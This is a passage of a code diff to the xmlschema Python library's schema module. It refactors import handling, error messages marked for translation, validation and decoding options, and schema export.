import elements. Imports are done on namespace basis, not on single resource. A warning is generated for a failure of a namespace import. """ + logger.debug("Processing imports of schema %r", self) namespace_imports = NamespaceResourcesMap(map( lambda x: (x.get('namespace'), x.get('schemaLocation')), filter(lambda x: x.tag == XSD_IMPORT, self.source.root) @@ -1259,15 +1313,20 @@ def _parse_imports(self) -> None: if namespace is None: namespace = '' if namespace == self.target_namespace: - self.parse_error("if the 'namespace' attribute is not present on " - "the import statement then the importing schema " - "must have a 'targetNamespace'") + msg = _("if the 'namespace' attribute is not present on " + "the import statement then the imported schema " + "must have a 'targetNamespace'") + self.parse_error(msg) continue elif namespace == self.target_namespace: - self.parse_error("the attribute 'namespace' must be different from " - "schema's 'targetNamespace'") + msg = _("the attribute 'namespace' must be different " + "from schema's 'targetNamespace'") + self.parse_error(msg) continue + # Register if the namespace has a xs:import statement + self._import_statements.add(namespace) + # Skip import of already imported namespaces if self.imports.get(namespace) is not None: continue @@ -1296,27 +1355,36 @@ def _parse_imports(self) -> None: self._import_namespace(namespace, locations) + logger.debug("Imports of schema %r processed", self) + def _import_namespace(self, namespace: str, locations: List[str]) -> None: - import_error = None + import_error: Optional[Exception] = None for url in locations: try: logger.debug("Import namespace %r from %r", namespace, url) self.import_schema(namespace, url, self.base_url) - except (OSError, IOError) as err: + except OSError as err: # It's not an error if the location access fails (ref. section 4.2.6.2): # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#composition-schemaImport logger.debug('%s', err) if import_error is None: import_error = err except (XMLSchemaParseError, XMLSchemaTypeError, ParseError) as err: - if namespace: - msg = "cannot import namespace %r: %s." % (namespace, err) - else: - msg = "cannot import chameleon schema: %s." % err - if isinstance(err, (XMLSchemaParseError, ParseError)): - self.parse_error(msg) + if is_defuse_error(err): + # Consider defuse of XML data as a location access fail + logger.debug('%s', err) + if import_error is None: + import_error = err else: - raise type(err)(msg) + if namespace: + msg = _("cannot import namespace {0!r}: {1}").format(namespace, err) + else: + msg = _("cannot import chameleon schema: %s") % err + if isinstance(err, (XMLSchemaParseError, ParseError)): + self.parse_error(msg) + else: + raise type(err)(msg) + except XMLSchemaValueError as err: self.parse_error(err) else: @@ -1352,32 +1420,38 @@ def import_schema(self, namespace: str, location: str, base_url: Optional[str] = return self.imports[namespace] schema: SchemaType - schema_url = fetch_resource(location, base_url) + url = normalize_url(location, base_url) imported_ns = self.imports.get(namespace) - if imported_ns is not None and imported_ns.url == schema_url: + if imported_ns is not None and imported_ns.url == url: return imported_ns elif namespace in self.maps.namespaces: for schema in self.maps.namespaces[namespace]: - if schema_url == schema.url: + if url == schema.url: self.imports[namespace] = schema return schema + locations = deepcopy(self.locations) + if namespace in locations: + locations.pop(namespace) + schema = type(self)( - source=schema_url, + source=url, validation=self.validation, global_maps=self.maps, converter=self.converter, - locations=self._locations, + locations=locations, base_url=self.base_url, allow=self.allow, defuse=self.defuse, timeout=self.timeout, + uri_mapper=self.uri_mapper, build=build, + use_xpath3=self.use_xpath3, ) if schema.target_namespace != namespace: - raise XMLSchemaValueError( - 'imported schema %r has an unmatched namespace %r' % (location, namespace) - ) + msg = _('imported schema {0!r} has an unmatched namespace {1!r}') + raise XMLSchemaValueError(msg.format(location, namespace)) + self.imports[namespace] = schema return schema @@ -1386,7 +1460,7 @@ def add_schema(self, source: SchemaSourceType, """ Add another schema source to the maps of the instance. - :param source: an URI that reference to a resource or a file path or a file-like \ + :param source: a URI that reference to a resource or a file path or a file-like \ object or a string containing the schema or an Element or an ElementTree document. :param namespace: is an optional argument that contains the URI of the namespace \ that has to used in case the schema has no namespace (chameleon schema). For other \ @@ -1394,121 +1468,55 @@ def add_schema(self, source: SchemaSourceType, :param build: defines when to build the imported schema, the default is to not build. :return: the added :class:`XMLSchema` instance. """ + locations = deepcopy(self.locations) + if namespace is None: + if '' in locations: + locations.pop('') + elif namespace in locations: + locations.pop(namespace) + return type(self)( source=source, namespace=namespace, validation=self.validation, global_maps=self.maps, converter=self.converter, - locations=self._locations, + locations=locations, base_url=self.base_url, allow=self.allow, defuse=self.defuse, timeout=self.timeout, + uri_mapper=self.uri_mapper, build=build, + use_xpath3=self.use_xpath3, ) - def export(self, target: str, save_remote: bool = False) -> None: + def export(self, target: Union[str, Path], + save_remote: bool = False, + remove_residuals: bool = True, + exclude_locations: Optional[List[str]] = None, + loglevel: Optional[Union[str, int]] = None) -> Dict[str, str]: """ Exports a schema instance. The schema instance is exported to a directory with also the hierarchy of imported/included schemas. :param target: a path to a local empty directory. :param save_remote: if `True` is provided saves also remote schemas. - """ - import pathlib - from urllib.parse import urlsplit - - target_path = pathlib.Path(target) - if target_path.is_dir(): - if list(target_path.iterdir()): - raise XMLSchemaValueError("target directory {!r} is not empty".format(target)) - elif target_path.exists(): - msg = "target {} is not a directory" - raise XMLSchemaValueError(msg.format(target_path.parent)) - elif not target_path.parent.exists(): - msg = "target parent directory {} does not exist" - raise XMLSchemaValueError(msg.format(target_path.parent)) - elif not target_path.parent.is_dir(): - msg = "target parent {} is not a directory" - raise XMLSchemaValueError(msg.format(target_path.parent)) - - url = self.url or 'schema.xsd' - basename = pathlib.Path(urlsplit(url).path).name - exports: Any = {self: [target_path.joinpath(basename), self.get_text()]} - path: Any - - while True: - current_length = len(exports) - - for schema in list(exports): - dir_path = exports[schema][0].parent - imports_items = [(x.url, x) for x in schema.imports.values() if x is not None] - - for location, ref_schema in chain(schema.includes.items(), imports_items): - if ref_schema in exports: - continue - - if is_remote_url(location): - if not save_remote: - continue - url_parts = urlsplit(location) - netloc, path = url_parts.netloc, url_parts.path - path = pathlib.Path().joinpath(netloc).joinpath(path.lstrip('/')) - else: - if location.startswith('file:/'): - location = urlsplit(location).path - - path = pathlib.Path(location) - if path.is_absolute(): - location = '/'.join(path.parts[-2:]) - try: - schema_path = pathlib.Path(schema.filepath) - except TypeError: - pass - else: - try: - path = path.relative_to(schema_path.parent) - except ValueError: - parts = path.parts - if parts[:-2] == schema_path.parts[:-2]: - path = pathlib.Path(location) - else: - path = dir_path.joinpath(path) - exports[ref_schema] = [path, ref_schema.get_text()] - continue - - elif not str(path).startswith('..'): - path = dir_path.joinpath(path) - exports[ref_schema] = [path, ref_schema.get_text()] - continue - - if DRIVE_PATTERN.match(path.parts[0]): - path = pathlib.Path().joinpath(path.parts[1:]) - - for strip_path in ('/', '\\', '..'): - while True: - try: - path = path.relative_to(strip_path) - except ValueError: - break - - path = target_path.joinpath(path) - repl = 'schemaLocation="{}"'.format(path.as_posix()) - schema_text = exports[schema][1] - pattern = r'\bschemaLocation\s*=\s*[\'\"].*%s.*[\'"]' % re.escape(location) - exports[schema][1] = re.sub(pattern, repl, schema_text) - exports[ref_schema] = [path, ref_schema.get_text()] - - if current_length == len(exports): - break - - for schema, (path, text) in exports.items(): - if not path.parent.exists(): - path.parent.mkdir(parents=True) - - with path.open(mode='w') as fp: - fp.write(text) + :param remove_residuals: for default removes residual remote schema \ + locations from redundant import statements. + :param exclude_locations: explicitly exclude schema locations from \ + substitution or removal. + :param loglevel: for setting a different logging level for schema export. + :return: a dictionary containing the map of modified locations. + """ + return export_schema( + schema=self, + target=target, + save_remote=save_remote, + remove_residuals=remove_residuals, + exclude_locations=exclude_locations, + loglevel=loglevel + ) def version_check(self, elem: ElementType) -> bool: """ @@ -1523,7 +1531,8 @@ def version_check(self, elem: ElementType) -> bool: vc_min_version = elem.attrib[VC_MIN_VERSION] if not XSD_VERSION_PATTERN.match(vc_min_version): if self.XSD_VERSION > '1.0': - self.parse_error("invalid attribute vc:minVersion value", elem) + msg = _("invalid attribute vc:minVersion value") + self.parse_error(msg, elem) elif vc_min_version > self.XSD_VERSION: return False @@ -1531,7 +1540,8 @@ def version_check(self, elem: ElementType) -> bool: vc_max_version = elem.attrib[VC_MAX_VERSION] if not XSD_VERSION_PATTERN.match(vc_max_version): if self.XSD_VERSION > '1.0': - self.parse_error("invalid attribute vc:maxVersion value", elem) + msg = _("invalid attribute vc:maxVersion value") + self.parse_error(msg, elem) elif vc_max_version <= self.XSD_VERSION: return False @@ -1606,43 +1616,47 @@ def resolve_qname(self, qname: str, namespace_imported: bool = True) -> str: """ qname = qname.strip() if not qname or ' ' in qname or '\t' in qname or '\n' in qname: - raise XMLSchemaValueError("{!r} is not a valid value for xs:QName".format(qname)) + msg = _("{!r} is not a valid value for xs:QName") + raise XMLSchemaValueError(msg.format(qname)) if qname[0] == '{': try: namespace, local_name = qname[1:].split('}') except ValueError: - raise XMLSchemaValueError("{!r} is not a valid value for xs:QName".format(qname)) + msg = _("{!r} is not a valid value for xs:QName") + raise XMLSchemaValueError(msg.format(qname)) elif ':' in qname: try: prefix, local_name = qname.split(':') except ValueError: - raise XMLSchemaValueError("{!r} is not a valid value for xs:QName".format(qname)) + msg = _("{!r} is not a valid value for xs:QName") + raise XMLSchemaValueError(msg.format(qname)) else: try: namespace = self.namespaces[prefix] except KeyError: - raise XMLSchemaKeyError("prefix %r not found in namespace map" % prefix) + msg = _("prefix {!r} not found in namespace map") + raise XMLSchemaKeyError(msg.format(prefix)) else: namespace, local_name = self.namespaces.get('', ''), qname if not namespace: - if namespace_imported and self.target_namespace and '' not in self.imports: - raise XMLSchemaNamespaceError( - "the QName {!r} is mapped to no namespace, but this requires " - "that there is an xs:import statement in the schema without " - "the 'namespace' attribute.".format(qname) - ) + if namespace_imported and self.target_namespace \ + and '' not in self._import_statements: + msg = _("the QName {!r} is mapped to no namespace, but this requires " + "that there is an xs:import statement in the schema without " + "the 'namespace' attribute.") + raise XMLSchemaNamespaceError(msg.format(qname)) return local_name elif namespace_imported and self.meta_schema is not None and \ namespace != self.target_namespace and \ namespace not in {XSD_NAMESPACE, XSI_NAMESPACE} and \ - namespace not in self.imports: - raise XMLSchemaNamespaceError( - "the QName {!r} is mapped to the namespace {!r}, but this namespace has " - "not an xs:import statement in the schema.".format(qname, namespace) - ) - return '{%s}%s' % (namespace, local_name) + namespace not in self._import_statements: + msg = _("the QName {0!r} is mapped to the namespace {1!r}, but this " + "namespace has not an xs:import statement in the schema.") + raise XMLSchemaNamespaceError(msg.format(qname, namespace)) + + return f'{{{namespace}}}{local_name}' def validate(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, @@ -1650,12 +1664,15 @@ def validate(self, source: Union[XMLSourceType, XMLResource], use_defaults: bool = True, namespaces: Optional[NamespacesType] = None, max_depth: Optional[int] = None, - extra_validator: Optional[ExtraValidatorType] = None) -> None: + extra_validator: Optional[ExtraValidatorType] = None, + validation_hook: Optional[ValidationHookType] = None, + allow_empty: bool = True, + use_location_hints: bool = False) -> None: """ Validates an XML data against the XSD schema/component instance. :param source: the source of XML data. Can be an :class:`XMLResource` instance, a \ - path to a file or an URI of a resource or an opened file-like object or an Element \ + path to a file or a URI of a resource or an opened file-like object or an Element \ instance or an ElementTree instance or a string containing the XML data. :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is selected. @@ -1671,10 +1688,26 @@ def validate(self, source: Union[XMLSourceType, XMLResource], element, with the XML element as 1st argument and the corresponding XSD \ element as 2nd argument. It can be also a generator function and has to \ raise/yield :exc:`XMLSchemaValidationError` exceptions. + :param validation_hook: an optional function for stopping or changing \ + validation at element level. The provided function must accept two arguments, \ + the XML element and the matching XSD element. If the value returned by this \ + function is evaluated to false then the validation process continues without \ + changes, otherwise the validation process is stopped or changed. If the value \ + returned is a validation mode the validation process continues changing the \ + current validation mode to the returned value, otherwise the element and its \ + content are not processed. The function can also stop validation suddenly \ + raising a `XmlSchemaStopValidation` exception. + :param allow_empty: for default providing a path argument empty selections \ + of XML data are allowed. Provide `False` to generate a validation error. + :param use_location_hints: for default schema locations hints provided within \ + XML data are ignored in order to avoid the change of schema instance. Set this \ + option to `True` to activate dynamic schema loading using schema location hints. :raises: :exc:`XMLSchemaValidationError` if the XML data instance is invalid. """ for error in self.iter_errors(source, path, schema_path, use_defaults, - namespaces, max_depth, extra_validator): + namespaces, max_depth, extra_validator, + validation_hook, allow_empty, use_location_hints, + validation='strict'): raise error def is_valid(self, source: Union[XMLSourceType, XMLResource], @@ -1683,13 +1716,17 @@ def is_valid(self, source: Union[XMLSourceType, XMLResource], use_defaults: bool = True, namespaces: Optional[NamespacesType] = None, max_depth: Optional[int] = None, - extra_validator: Optional[ExtraValidatorType] = None) -> bool: + extra_validator: Optional[ExtraValidatorType] = None, + validation_hook: Optional[ValidationHookType] = None, + allow_empty: bool = True, + use_location_hints: bool = False) -> bool: """ Like :meth:`validate` except that does not raise an exception but returns ``True`` if the XML data instance is valid, ``False`` if it is invalid. """ error = next(self.iter_errors(source, path, schema_path, use_defaults, - namespaces, max_depth, extra_validator), None) + namespaces, max_depth, extra_validator, + validation_hook, allow_empty, use_location_hints), None) return error is None def iter_errors(self, source: Union[XMLSourceType, XMLResource], @@ -1698,7 +1735,10 @@ def iter_errors(self, source: Union[XMLSourceType, XMLResource], use_defaults: bool = True, namespaces: Optional[NamespacesType] = None, max_depth: Optional[int] = None, - extra_validator: Optional[ExtraValidatorType] = None) \ + extra_validator: Optional[ExtraValidatorType] = None, + validation_hook: Optional[ValidationHookType] = None, + allow_empty: bool = True, + use_location_hints: bool = False, validation: str = 'lax') \ -> Iterator[XMLSchemaValidationError]: """ Creates an iterator for the errors generated by the validation of an XML data against @@ -1713,7 +1753,8 @@ def iter_errors(self, source: Union[XMLSourceType, XMLResource], if not schema_path: schema_path = resource.get_absolute_path(path) - namespaces = resource.get_namespaces(namespaces, root_only=True) + converter = NamespaceMapper(namespaces, source=resource) + namespaces = converter.namespaces namespace = resource.namespace or namespaces.get('', '') try: @@ -1722,33 +1763,39 @@ def iter_errors(self, source: Union[XMLSourceType, XMLResource], schema = self identities: Dict[XsdIdentity, IdentityCounter] = {} - locations: List[Any] = [] ancestors: List[ElementType] = [] prev_ancestors: List[ElementType] = [] kwargs: Dict[Any, Any] = { 'level': resource.lazy_depth or bool(path), 'source': resource, 'namespaces': namespaces, - 'converter': None, - 'use_defaults': use_defaults, + 'converter': converter, 'id_map': Counter[str](), 'identities': identities, 'inherited': {}, - 'locations': locations, # TODO: lazy schemas load + 'validation': validation, } + if not use_defaults: + kwargs['use_defaults'] = False + if use_location_hints and not resource.is_lazy(): + kwargs['use_location_hints'] = True + if self.XSD_VERSION == '1.1': + kwargs['errors'] = [] if max_depth is not None: kwargs['max_depth'] = max_depth if extra_validator is not None: kwargs['extra_validator'] = extra_validator + if validation_hook is not None: + kwargs['validation_hook'] = validation_hook if path: - selector = resource.iterfind(path, namespaces, nsmap=namespaces, ancestors=ancestors) + selector = resource.iterfind(path, namespaces, ancestors=ancestors) else: - selector = resource.iter_depth(mode=3, nsmap=namespaces, ancestors=ancestors) + selector = resource.iter_depth(mode=4, ancestors=ancestors) + elem: Optional[ElementType] = None for elem in selector: if elem is resource.root: - xsd_element = schema.get_element(elem.tag, namespaces=namespaces) if resource.lazy_depth: kwargs['level'] = 0 kwargs['identities'] = {} @@ -1760,43 +1807,56 @@ def iter_errors(self, source: Union[XMLSourceType, XMLResource], if ancestors[k] is not prev_ancestors[k]: break - path_ = '/'.join(e.tag for e in ancestors) + '/ancestor-or-self::node()' - xsd_ancestors = cast(List[XsdElement], schema.findall(path_, namespaces)[1:]) - - for e in xsd_ancestors[k:]: - e.stop_identities(identities) + path_ = f"{'/'.join(e.tag for e in ancestors)}/ancestor-or-self::node()" + xsd_ancestors = cast(List[XsdElement], + schema.findall(path_, converter.namespaces)[1:]) - for e in xsd_ancestors[k:]: - e.start_identities(identities) + # Clear identity constraints counters + for k, e in enumerate(xsd_ancestors[k:], start=k): + for identity in e.identities: + if identity in identities: + identities[identity].reset(ancestors[k]) + else: + identities[identity] = identity.get_counter(ancestors[k]) prev_ancestors = ancestors[:] - xsd_element = schema.get_element(elem.tag, schema_path, namespaces) - + xsd_element = schema.get_element(elem.tag, schema_path, namespaces) if xsd_element is None: if XSI_TYPE in elem.attrib: xsd_element = self.create_element(name=elem.tag) elif elem is not resource.root and ancestors: continue else: - reason = "{!r} is not an element of the schema".format(elem) - yield schema.validation_error('lax', reason, elem, resource, namespaces) + reason = _("{!r} is not an element of the schema").format(elem) + yield schema.validation_error( + 'lax', reason, elem, source=resource, namespaces=namespaces + ) return - for result in xsd_element.iter_decode(elem, **kwargs): - if isinstance(result, XMLSchemaValidationError): - yield result - else: - del result + try: + for result in xsd_element.iter_decode(elem, **kwargs): + if isinstance(result, XMLSchemaValidationError): + yield result + else: + del result + except XMLSchemaStopValidation: + pass + else: + if elem is None and not allow_empty: + assert path is not None + reason = _("the provided path selects nothing to validate") + yield schema.validation_error( + 'lax', reason, source=resource, namespaces=namespaces + ) + return if kwargs['identities'] is not identities: - identity: XsdIdentity - counter: IdentityCounter for identity, counter in kwargs['identities'].items(): identities[identity].counter.update(counter.counter) kwargs['identities'] = identities - yield from self._validate_references(validation='lax', **kwargs) + yield from self._validate_references(**kwargs) def _validate_references(self, source: XMLResource, validation: str = 'lax', @@ -1807,13 +1867,13 @@ def _validate_references(self, source: XMLResource, if id_map is not None: for k, v in id_map.items(): if v == 0: - msg = "IDREF %r not found in XML document" % k + msg = _("IDREF %r not found in XML document") % k yield self.validation_error(validation, msg, source.root) # Check still enabled key references (lazy validation cases) if identities is not None: - for constraint, counter in identities.items(): - if counter.enabled and isinstance(constraint, XsdKeyref): + for identity, counter in identities.items(): + if counter.enabled and isinstance(identity, XsdKeyref): for error in cast(KeyrefCounter, counter).iter_errors(identities): yield self.validation_error(validation, error, source.root, **kwargs) @@ -1823,9 +1883,9 @@ def raw_decoder(self, source: XMLResource, path: Optional[str] = None, -> Iterator[Union[Any, XMLSchemaValidationError]]: """Returns a generator for decoding a resource.""" if path: - selector = source.iterfind(path, namespaces, nsmap=namespaces) + selector = source.iterfind(path, namespaces) else: - selector = source.iter_depth(nsmap=namespaces) + selector = source.iter_depth(mode=2) for elem in selector: xsd_element = self.get_element(elem.tag, schema_path, namespaces) @@ -1833,8 +1893,9 @@ def raw_decoder(self, source: XMLResource, path: Optional[str] = None, if XSI_TYPE in elem.attrib: xsd_element = self.create_element(name=elem.tag) else: - reason = "{!r} is not an element of the schema".format(elem) - yield self.validation_error(validation, reason, elem, source, namespaces) + reason = _("{!r} is not an element of the schema").format(elem) + yield self.validation_error(validation, reason, elem, + source=source, namespaces=namespaces) continue yield from xsd_element.iter_decode(elem, validation, **kwargs) @@ -1849,23 +1910,29 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], process_namespaces: bool = True, namespaces: Optional[NamespacesType] = None, use_defaults: bool = True, + use_location_hints: bool = False, decimal_type: Optional[Type[Any]] = None, datetime_types: bool = False, binary_types: bool = False, converter: Optional[ConverterType] = None, - filler: Optional[Callable[[Union[XsdElement, XsdAttribute]], Any]] = None, + filler: Optional[FillerType] = None, fill_missing: bool = False, + keep_empty: bool = False, keep_unknown: bool = False, process_skipped: bool = False, max_depth: Optional[int] = None, - depth_filler: Optional[Callable[[XsdElement], Any]] = None, - value_hook: Optional[Callable[[AtomicValueType, BaseXsdType], Any]] = None, + depth_filler: Optional[DepthFillerType] = None, + extra_validator: Optional[ExtraValidatorType] = None, + validation_hook: Optional[ValidationHookType] = None, + value_hook: Optional[ValueHookType] = None, + element_hook: Optional[ElementHookType] = None, + errors: Optional[List[XMLSchemaValidationError]] = None, **kwargs: Any) -> Iterator[Union[Any, XMLSchemaValidationError]]: """ Creates an iterator for decoding an XML source to a data structure. :param source: the source of XML data. Can be an :class:`XMLResource` instance, a \ - path to a file or an URI of a resource or an opened file-like object or an Element \ + path to a file or a URI of a resource or an opened file-like object or an Element \ instance or an ElementTree instance or a string containing the XML data. :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is selected. @@ -1876,9 +1943,15 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], 'strict', 'lax' or 'skip'. :param process_namespaces: whether to use namespace information in the \ decoding process, using the map provided with the argument *namespaces* \ - and the map extracted from the XML document. - :param namespaces: is an optional mapping from namespace prefix to URI. + and the namespace declarations extracted from the XML document. + :param namespaces: is an optional mapping from namespace prefix to URI that \ + integrate/override the root namespace declarations of the XML source. \ + In case of prefix collision an alternate prefix is used for the root \ + XML namespace declaration. :param use_defaults: whether to use default values for filling missing data. + :param use_location_hints: for default schema locations hints provided within \ + XML data are ignored in order to avoid the change of schema instance. Set this \ + option to `True` to activate dynamic schema loading using schema location hints. :param decimal_type: conversion type for `Decimal` objects (generated by \ `xs:decimal` built-in and derived types), useful if you want to generate a \ JSON-compatible data structure. @@ -1894,6 +1967,8 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], data is replaced by `None`. :param fill_missing: if set to `True` the decoder fills also missing attributes. \ The filling value is `None` or a typed value if the *filler* callback is provided. + :param keep_empty: if set to `True` empty elements that are valid are decoded with \ + an empty string value instead of a `None`. :param keep_unknown: if set to `True` unknown tags are kept and are decoded with \ *xs:anyType*. For default unknown tags not decoded by a wildcard are discarded. :param process_skipped: process XML data that match a wildcard with \ @@ -1903,10 +1978,28 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], :param depth_filler: an optional callback function to replace data over the \ *max_depth* level. The callback function must accept one positional argument, that \ can be an XSD Element. If not provided deeper data are replaced with `None` values. + :param extra_validator: an optional function for performing non-standard \ + validations on XML data. The provided function is called for each traversed \ + element, with the XML element as 1st argument and the corresponding XSD \ + element as 2nd argument. It can be also a generator function and has to \ + raise/yield :exc:`XMLSchemaValidationError` exceptions. + :param validation_hook: an optional function for stopping or changing \ + validated decoding at element level. The provided function must accept two \ + arguments, the XML element and the matching XSD element. If the value returned \ + by this function is evaluated to false then the decoding process continues \ + without changes, otherwise the decoding process is stopped or changed. If the \ + value returned is a validation mode the decoding process continues changing the \ + current validation mode to the returned value, otherwise the element and its \ + content are not decoded. :param value_hook: an optional function that will be called with any decoded \ atomic value and the XSD type used for decoding. The return value will be used \ instead of the original value. - :param kwargs: keyword arguments with other options for converter and decoder. + :param element_hook: an optional function that is called with decoded element \ + data before calling the converter decode method. Takes an `ElementData` \ + instance plus optionally the XSD element and the XSD type, and returns a \ + new `ElementData` instance. + :param errors: optional internal collector for validation errors. + :param kwargs: keyword arguments with other options for converters. :return: yields a decoded data object, eventually preceded by a sequence of \ validation or decoding errors. """ @@ -1919,49 +2012,67 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], if not schema_path and path: schema_path = resource.get_absolute_path(path) - if process_namespaces: - namespaces = resource.get_namespaces(namespaces, root_only=True) - namespace = resource.namespace or namespaces.get('', '') - else: - namespace = resource.namespace - - schema = self.get_schema(namespace) - converter = self.get_converter(converter, namespaces=namespaces, **kwargs) - kwargs.update( - converter=converter, + converter = self.get_converter( + converter, namespaces=namespaces, + process_namespaces=process_namespaces, source=resource, - use_defaults=use_defaults, - id_map=Counter[str](), - identities={}, - inherited={}, + **kwargs ) + namespaces = converter.namespaces + namespace = resource.namespace or namespaces.get('', '') + schema = self.get_schema(namespace) + + kwargs = { + 'converter': converter, + 'namespaces': namespaces, + 'source': resource, + 'id_map': Counter[str](), + 'identities': {}, + 'inherited': {}, + } + if not use_defaults: + kwargs['use_defaults'] = False + if use_location_hints and not resource.is_lazy(): + kwargs['use_location_hints'] = True + if self.XSD_VERSION == '1.1': + kwargs['errors'] = [] if decimal_type is not None: kwargs['decimal_type'] = decimal_type if datetime_types: - kwargs['datetime_types'] = datetime_types + kwargs['datetime_types'] = True if binary_types: - kwargs['binary_types'] = binary_types + kwargs['binary_types'] = True if filler is not None: kwargs['filler'] = filler if fill_missing: - kwargs['fill_missing'] = fill_missing + kwargs['fill_missing'] = True + if keep_empty: + kwargs['keep_empty'] = True if keep_unknown: - kwargs['keep_unknown'] = keep_unknown + kwargs['keep_unknown'] = True if process_skipped: - kwargs['process_skipped'] = process_skipped + kwargs['process_skipped'] = True if max_depth is not None: kwargs['max_depth'] = max_depth if depth_filler is not None: kwargs['depth_filler'] = depth_filler + if extra_validator is not None: + kwargs['extra_validator'] = extra_validator + if validation_hook is not None: + kwargs['validation_hook'] = validation_hook if value_hook is not None: kwargs['value_hook'] = value_hook + if element_hook is not None: + kwargs['element_hook'] = element_hook + if errors is not None: + kwargs['errors'] = errors if path: - selector = resource.iterfind(path, namespaces, nsmap=namespaces) + selector = resource.iterfind(path, namespaces) elif not resource.is_lazy(): - selector = resource.iter_depth(nsmap=namespaces) + selector = iter((resource.root,)) else: decoder = self.raw_decoder( schema_path=resource.get_absolute_path(), @@ -1970,7 +2081,7 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], ) kwargs['depth_filler'] = lambda x: decoder kwargs['max_depth'] = resource.lazy_depth - selector = resource.iter_depth(mode=2, nsmap=namespaces) + selector = resource.iter_depth(mode=3) for elem in selector: xsd_element = schema.get_element(elem.tag, schema_path, namespaces) @@ -1978,8 +2089,10 @@ def iter_decode(self, source: Union[XMLSourceType, XMLResource], if XSI_TYPE in elem.attrib: xsd_element = self.create_element(name=elem.tag) else: - reason = "{!r} is not an element of the schema".format(elem) - yield schema.validation_error(validation, reason, elem, resource, namespaces) + reason = _("{!r} is not an element of the schema").format(elem) + yield schema.validation_error( + validation, reason, elem, source=resource, namespaces=namespaces + ) return yield from xsd_element.iter_decode(elem, validation, **kwargs) @@ -1993,7 +2106,7 @@ def decode(self, source: Union[XMLSourceType, XMLResource], validation: str = 'strict', *args: Any, **kwargs: Any) -> DecodeType[Any]: """ - Decodes XML data. Takes the same arguments of the method :func:`XMLSchema.iter_decode`. + Decodes XML data. Takes the same arguments of the method :meth:`iter_decode`. """ data, errors = [], [] for result in self.iter_decode(source, path, schema_path, validation, *args, **kwargs): @@ -2032,9 +2145,15 @@ def to_objects(self, source: Union[XMLSourceType, XMLResource], with_bindings: b return self.decode(source, converter=dataobjects.DataBindingConverter, **kwargs) return self.decode(source, converter=dataobjects.DataElementConverter, **kwargs) - def iter_encode(self, obj: Any, path: Optional[str] = None, validation: str = 'lax', - namespaces: Optional[NamespacesType] = None, use_defaults: bool = True, - converter: Optional[ConverterType] = None, unordered: bool = False, + def iter_encode(self, obj: Any, + path: Optional[str] = None, + validation: str = 'lax', + namespaces: Optional[NamespacesType] = None, + use_defaults: bool = True, + converter: Optional[ConverterType] = None, + unordered: bool = False, + process_skipped: bool = False, + max_depth: Optional[int] = None, **kwargs: Any) -> Iterator[Union[ElementType, XMLSchemaValidationError]]: """ Creates an iterator for encoding a data structure to an ElementTree's Element. @@ -2051,20 +2170,36 @@ def iter_encode(self, obj: Any, path: Optional[str] = None, validation: str = 'l :param unordered: a flag for explicitly activating unordered encoding mode for \ content model data. This mode uses content models for a reordered-by-model \ iteration of the child elements. - :param kwargs: keyword arguments with other options for encoding and for \ - building the converter instance. + :param process_skipped: process XML decoded data that match a wildcard with \ + `processContents='skip'`. + :param max_depth: maximum level of encoding, for default there is no limit. + :param kwargs: keyword arguments with other options for building the \ + converter instance. :return: yields an Element instance/s or validation/encoding errors. """ self.check_validator(validation) if not self.elements: - raise XMLSchemaValueError("encoding needs at least one XSD element declaration!") + msg = _("encoding needs at least one XSD element declaration") + raise XMLSchemaValueError(msg) - if namespaces is None: - namespaces = {} - else: - namespaces = {k: v for k, v in namespaces.items()} + converter = self.get_converter( + converter, namespaces=namespaces, source=obj, **kwargs + ) + namespaces = converter.namespaces - converter = self.get_converter(converter, namespaces=namespaces, **kwargs) + kwargs = { + 'level': 0, + 'converter': converter, + 'namespaces': namespaces, + } + if not use_defaults: + kwargs['use_defaults'] = False + if unordered: + kwargs['unordered'] = True + if process_skipped: + kwargs['process_skipped'] = process_skipped + if max_depth is not None: + kwargs['max_depth'] = max_depth xsd_element = None if path is not None: @@ -2090,19 +2225,18 @@ def iter_encode(self, obj: Any, path: Optional[str] = None, validation: str = 'l if not isinstance(xsd_element, XsdElement): if path is not None: - reason = "the path %r doesn't match any element of the schema!" % path + reason = _("the path %r doesn't match any element of the schema!") % path else: - reason = "unable to select an element for decoding data, " \ - "provide a valid 'path' argument." + reason = _("unable to select an element for encoding data, " + "provide a valid 'path' argument.") raise XMLSchemaEncodeError(self, obj, self.elements, reason, namespaces=namespaces) else: - yield from xsd_element.iter_encode(obj, validation, use_defaults=use_defaults, - converter=converter, unordered=unordered, **kwargs) + yield from xsd_element.iter_encode(obj, validation, **kwargs) def encode(self, obj: Any, path: Optional[str] = None, validation: str = 'strict', *args: Any, **kwargs: Any) -> EncodeType[Any]: """ - Encodes to XML data. Takes the same arguments of the method :func:`XMLSchema.iter_encode`. + Encodes to XML data. Takes the same arguments of the method :meth:`iter_encode`. :return: An ElementTree's Element or a list containing a sequence of ElementTree's \ elements if the argument *path* matches multiple XML data chunks. If *validation* \ @@ -2152,6 +2286,7 @@ class XMLSchema10(XMLSchemaBase): attributeGroup) | element | attribute | notation), annotation*)*) </schema> """ + meta_schema: XMLSchemaBase meta_schema = os.path.join(SCHEMAS_DIR, 'XSD_1.0/XMLSchema.xsd') # type: ignore BASE_SCHEMAS = { XML_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XML/xml_minimal.xsd'), @@ -2194,6 +2329,7 @@ class XMLSchema11(XMLSchemaBase): attributeGroup) | element | attribute | notation), annotation*)*) </schema> """ + meta_schema: XMLSchemaBase meta_schema = os.path.join(SCHEMAS_DIR, 'XSD_1.1/XMLSchema.xsd') # type: ignore XSD_VERSION = '1.1' diff --git a/xmlschema/validators/simple_types.py b/xmlschema/validators/simple_types.py index 6165324..51d6eee 100644 --- a/xmlschema/validators/simple_types.py +++ b/xmlschema/validators/simple_types.py @@ -13,8 +13,8 @@ from decimal import DecimalException from typing import cast, Any, Callable, Dict, Iterator, List, \ Optional, Set, Union, Tuple, Type +from xml.etree import ElementTree -from ..etree import etree_element from ..aliases import 